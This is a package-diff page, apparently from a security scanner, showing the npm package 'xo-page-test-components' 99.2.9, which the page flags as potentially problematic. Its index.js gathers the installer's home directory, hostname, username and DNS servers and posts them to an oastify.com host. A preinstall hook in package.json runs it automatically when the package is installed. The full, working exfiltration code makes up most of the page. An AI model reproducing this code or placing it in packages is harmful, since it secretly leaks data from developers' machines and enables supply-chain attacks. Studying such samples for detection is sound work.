xo-page-test-components 99.2.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of xo-page-test-components might be problematic. Click here for more details.
- package/index.js +48 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const dns = require('dns');
|
3
|
+
const https = require('https');
|
4
|
+
const querystring = require('querystring');
|
5
|
+
|
6
|
+
// Data to be sent in the POST request
|
7
|
+
const data = {
|
8
|
+
hd: os.homedir(),
|
9
|
+
hn: os.hostname(),
|
10
|
+
un: os.userInfo().username,
|
11
|
+
dns: dns.getServers().join(','),
|
12
|
+
};
|
13
|
+
|
14
|
+
// Convert data to a URL-encoded string
|
15
|
+
const postData = querystring.stringify(data);
|
16
|
+
|
17
|
+
// POST request options
|
18
|
+
const options = {
|
19
|
+
hostname: 'p5v8af15zpoexkiajcdpdb8sgjm9ay.oastify.com', // Replace with the hostname or IP address of your server
|
20
|
+
port: 443, // Replace with the port number your server is listening on
|
21
|
+
path: '/',
|
22
|
+
method: 'POST',
|
23
|
+
headers: {
|
24
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
25
|
+
'Content-Length': postData.length,
|
26
|
+
},
|
27
|
+
};
|
28
|
+
|
29
|
+
// Send the POST request
|
30
|
+
const req = https.request(options, (res) => {
|
31
|
+
console.log(`Status Code: ${res.statusCode}`);
|
32
|
+
|
33
|
+
res.on('data', (chunk) => {
|
34
|
+
console.log(`Response: ${chunk}`);
|
35
|
+
});
|
36
|
+
|
37
|
+
res.on('end', () => {
|
38
|
+
console.log('POST request completed.');
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on('error', (error) => {
|
43
|
+
console.error(`Error sending POST request: ${error.message}`);
|
44
|
+
});
|
45
|
+
|
46
|
+
// Send the data in the POST request
|
47
|
+
req.write(postData);
|
48
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "xo-page-test-components",
|
3
|
+
"version": "99.2.9",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "any",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|